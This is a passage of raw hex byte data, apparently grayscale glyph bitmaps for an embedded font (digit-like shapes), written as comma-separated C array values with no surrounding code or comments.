0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xD3, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFF, 0xFF,
0xFF, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x03,
0xEE, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x10, 0xFD, 0xFF, 0xFF, 0x16, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB4, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0xA8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF7, 0x04, 0x00, 0x00, 0x02, 0xEA, 0xFF,
0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xFC, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x3E,
0xFF, 0xFF, 0xFF, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0xFF, 0xFF, 0x60, 0x00,
0x00, 0xA2, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF,
0x92, 0x00, 0x10, 0xF6, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A,
0xFF, 0xFF, 0xC4, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4F, 0xFF, 0xFF, 0xF4, 0x02, 0x26, 0xDF, 0xFF, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x24, 0xFF, 0xFD, 0xB7, 0x0A, 0x00, 0x18, 0xCE, 0x60, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x78, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x06, 0x03, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x4B, 0x4B, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x7E, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00,
0x00, 0x00, 0x2E, 0xAF, 0xFE, 0xF6, 0x02, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x1D, 0x63, 0xB1, 0xFE,
0xFF, 0xFF, 0xFF, 0x25, 0x7F, 0xFF, 0xFF, 0xE6, 0xD7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x4A, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x9F, 0x3C, 0x00, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0xB6, 0x64, 0x0D, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xD7, 0x77,
0x37, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F,
0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF,
0xC4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0xE5, 0xC6,
0xC6, 0xC6, 0xC6, 0xC6, 0xC6, 0xC0, 0x13, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0xB1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC,
0x00, 0x00, 0x01, 0x4F, 0x7E, 0x8B, 0x8B, 0x8B, 0x8B, 0x8B, 0x8B, 0x8B, 0x71, 0x00, 0x00, 0x02,
0x0A, 0x13, 0x1C, 0x26, 0x2F, 0x38, 0x41, 0x4A, 0x53, 0x5C, 0x2E, 0x00, 0x00, 0x7C, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x25, 0x00, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x0D, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0x22, 0x59, 0x59, 0x59, 0x59, 0x59,
0x59, 0x59, 0x59, 0x59, 0xA5, 0xFF, 0xFF, 0xFE, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x99, 0xFF, 0xFF, 0xD1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB8, 0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD6, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4,
0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0xFF,
0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xEC,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xA6, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xF9, 0x14, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xE8, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0xB2, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3A, 0xFB, 0xFF, 0xFF, 0xFD, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E,
0xED, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xBB, 0xFF, 0xFF,
0xFF, 0xFF, 0xCA, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF,
0xE2, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0xFC, 0xFF, 0xFF, 0xFF, 0xCD, 0x1C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFD, 0x9C, 0x0A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xAF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xF5, 0xFF, 0x8E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0xFF, 0xFF, 0xFF,
0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFE, 0xFF, 0xFF,
0xFF, 0xD5, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF,
0xFF, 0xEE, 0xFF, 0xFF, 0xEA, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF,
0xFF, 0xB5, 0x42, 0xFF, 0xFF, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF,
0xFF, 0xFF, 0x35, 0x00, 0xAF, 0xFF, 0xFF, 0xF6, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC5,
0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x23, 0xF9, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E,
0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0xFE, 0x36, 0x00, 0x00, 0x00, 0x05,
0xD8, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xE8, 0xFF, 0xFF, 0xC8, 0x01, 0x00, 0x00,
0x69, 0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x60, 0x00,
0x00, 0x19, 0xE1, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xC9, 0xFF, 0xFF, 0xE8,
0x12, 0x00, 0x00, 0x2C, 0xF0, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFD, 0xFF,
0xFF, 0xA7, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A,
0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0xED, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x69, 0xFF, 0xFB, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x02, 0xCD, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15,
0x15, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0xFD, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x77, 0xA3, 0xA3, 0xA3, 0xA3, 0xA3, 0xFF, 0xFF, 0xFF, 0xA7, 0xA3, 0xA3, 0xA3, 0xA3, 0xA3,
0x04, 0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x06, 0x00, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x06, 0x00, 0x94, 0xAE, 0xAE, 0xAE, 0xAE, 0xAE, 0xFF, 0xFF, 0xFF, 0xB1, 0xAE, 0xAE,
0xAE, 0xAE, 0xAE, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xA4, 0x28, 0x00, 0xFF, 0xFF, 0xFF,
0x0B, 0x08, 0x8E, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFD, 0x44, 0xFF, 0xFF,
0xFF, 0x28, 0xCC, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xFB, 0xFF, 0xFF, 0x26, 0xFF,
0xFF, 0xFF, 0x61, 0xFF, 0xFF, 0xEB, 0x09, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xEB, 0x01,
0xFF, 0xFF, 0xFF, 0x12, 0xEC, 0xFF, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xB2,
0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x8D, 0xFF, 0xFF, 0xD9, 0x02, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF,
0x72, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x27, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x10, 0xF7, 0xFF,
0xFF, 0x2D, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0xC0, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x67, 0xFF,
0xFF, 0xE6, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x6A, 0xFF, 0xFF, 0xD3, 0x00, 0x00, 0xC7,
0xFF, 0xFF, 0x8C, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x27, 0xFF, 0xFF, 0xFF, 0x1E, 0x28,
0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0xE4, 0xFF, 0xFF, 0x69,
0x70, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0xA1, 0xFF, 0xF8,
0x59, 0x05, 0x8F, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x5D, 0xC3,
0x27, 0x00, 0x00, 0x00, 0x43, 0x08, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x3E, 0x3E,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0A, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xB2, 0xE7, 0xFD, 0xFF, 0xFD,
0xE8, 0xCE, 0x93, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF9, 0x44, 0x00, 0x00, 0x00, 0x25, 0xFB, 0xFF, 0xFF, 0xFF, 0xED, 0xD9, 0xDF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE3, 0x07, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xF5, 0x50, 0x00, 0x00, 0x14,
0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0xD5, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x73,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9E, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x01, 0xD9,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCF, 0x00, 0x32, 0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x41, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0x19, 0x00, 0x00, 0xA8, 0xFF,
0xFF, 0xFD, 0x7C, 0xFF, 0xFF, 0xFF, 0x17, 0x66, 0xFF, 0xFF, 0xFF, 0x06, 0x00, 0x16, 0xF9, 0xFF,
0xFF, 0xB3, 0x48, 0xFF, 0xFF, 0xFF, 0x25, 0x70, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x77, 0xFF, 0xFF,
0xFF, 0x48, 0x41, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0xFF, 0xFF, 0xF9, 0x00, 0x01, 0xDC, 0xFF, 0xFF,
0xDC, 0x01, 0x3B, 0xFF, 0xFF, 0xFF, 0x39, 0x7D, 0xFF, 0xFF, 0xFF, 0x00, 0x45, 0xFF, 0xFF, 0xFF,
0x73, 0x00, 0x39, 0xFF, 0xFF, 0xFF, 0x33, 0x74, 0xFF, 0xFF, 0xFE, 0x00, 0xAC, 0xFF, 0xFF, 0xF6,
0x12, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0x34, 0x6A, 0xFF, 0xFF, 0xFF, 0x1E, 0xFB, 0xFF, 0xFF, 0x9E,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x2B, 0x5E, 0xFF, 0xFF, 0xFF, 0x8F, 0xFF, 0xFF, 0xFF, 0x33,
0x00, 0x00, 0x55, 0xFF, 0xFF, 0xFF, 0x20, 0x3E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00,
0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFC, 0x05, 0x1B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5E, 0x00,
0x00, 0x00, 0x91, 0xFF, 0xFF, 0xDF, 0x00, 0x01, 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x08, 0x00,
0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xB1, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x00, 0x00,
0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0x46, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0xB9, 0xBC,
0xD9, 0xFF, 0xFF, 0xFF, 0xF4, 0x16, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x03, 0x73, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xD8, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x29, 0x40, 0x4D, 0x48,
0x3B, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x98, 0xB6, 0xB6, 0xAF,
0x10, 0x00, 0x00, 0x00, 0x1F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x3C, 0xE9, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x63, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x62,
0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0xFF, 0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xFF, 0xFE, 0x73, 0x54, 0xFF,
0xFF, 0xFF, 0x28, 0x7F, 0xFF, 0xF7, 0x55, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x7F, 0xEC, 0x3B,
0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x37, 0x26, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00,
0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF,
0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00,
0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00,
0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF,
0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1D, 0x94, 0xC7, 0xEC, 0xFF, 0xF6, 0xD8, 0xB8, 0x63, 0x08, 0x00, 0x00,
0x00, 0x7D, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x4C, 0x00, 0x5C, 0xFF,
0xFF, 0xFF, 0xFF, 0xF7, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7A, 0x0C, 0xF4, 0xFF, 0xFF, 0xFB,
0x6F, 0x05, 0x00, 0x13, 0x4E, 0xC2, 0xFF, 0xFF, 0x7A, 0x3D, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x51, 0xDB, 0x7A, 0x6F, 0xFF, 0xFF, 0xFF, 0x29, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05, 0x18, 0x73, 0xFF, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0xBC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0xE8, 0xFF, 0xFF, 0xFF, 0xA1, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5D, 0xFF, 0xFF, 0xFF, 0xFF, 0xC8, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D,
0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0xF3,
0xFF, 0xFF, 0xFF, 0xFF, 0xB2, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xC2, 0xFF,
0xFF, 0xFF, 0xFF, 0xD4, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x6D, 0xF7, 0xFF,
0xFF, 0xFF, 0xDD, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xDB, 0xFF, 0xFF,
0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xDF, 0xFF, 0xFF, 0xFE,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x69, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0xFF, 0xFF, 0xA7, 0x00, 0x1F, 0x26,
0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0xCD, 0xFF, 0xFF, 0xBE, 0x21, 0xFE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD3, 0x28, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x21, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4, 0xD4,
0xD4, 0xD4, 0xD4, 0xD4, 0xB9, 0x00, 0x01, 0x35, 0x73, 0x91, 0xAD, 0xAF, 0x99, 0x7C, 0x37, 0x01,
